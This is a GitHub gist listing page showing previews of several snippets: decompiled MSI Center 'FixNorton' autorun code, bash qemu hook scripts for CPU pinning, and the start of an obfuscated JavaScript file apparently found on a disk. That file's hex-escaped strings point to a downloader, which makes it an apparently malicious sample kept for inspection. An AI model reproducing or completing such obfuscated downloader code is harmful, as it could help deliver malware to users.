Skip to content

Instantly share code, notes, and snippets.

View AskAlice's full-sized avatar
(>゚ヮ゚)> ~ much love 💖

Alice Knag AskAlice

(>゚ヮ゚)> ~ much love 💖
View GitHub Profile
@AskAlice
AskAlice / m12o.js
Created January 21, 2022 00:48
was stored in D:\putty\New Folder
var _0xbfe4 = [
'\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74\x3A',
'\x27\x20\x27',
'\x20\x46\x69\x6C\x65\x20\x4E\x6F\x74\x20\x44\x6F\x77\x6E\x6C\x6F\x61\x64\x65\x64',
'\x31\x31\x37\x38\x39\x37\x51\x68\x79\x42\x63\x73',
'\x32\x31\x7A\x52\x57\x76\x78\x53',
'\x73\x68\x69\x66\x74',
'\x33\x35\x6A\x72\x58\x72\x72\x71',
'\x20\x41\x6C\x72\x65\x61\x64\x59\x20\x4F\x70\x65\x6E\x6E\x65\x64\x21',
'\x32\x33\x33\x35\x37\x38\x30\x73\x72\x4A\x48\x47\x4C',
@AskAlice
AskAlice / FixNorton.cs
Last active October 27, 2024 15:54
MSI Center Autorun on task scheduler named FixNorton.exe
// Decompiled with JetBrains decompiler
// Type: FixNorton.Program
// Assembly: FixNorton, Version=1.2022.1219.1, Culture=neutral, PublicKeyToken=null
// MVID: 7D841D22-1B30-498A-B772-DA82A5EEF8E7
// Assembly location: C:\Program Files (x86)\MSI\MSI Center\PushCast\Push20221215131801\FixNorton.exe
using Microsoft.Win32;
using System;
using System.Collections.Generic;
using System.Diagnostics;

Haven't seen anyone do this before, would be intereseted if anyone is able to figure out how to handle multiple VMs. At the moment if you pin with two VMs then shutdown one, the system will no longer pin any CPU. I call this from the base qemu hook located here

#!/bin/bash

set -x
VM_NAME="$1"
VM_ACTION="$2/$3"
#!/bin/bash
# Stop on error
# set -e
set -x
# Execution variables
OBJECT="${1}" # emu
OPERATION="${2}" # prepare / release
ACTION="${3}" # end / begin
XML="/etc/libvirt/qemu/${OBJECT}.xml"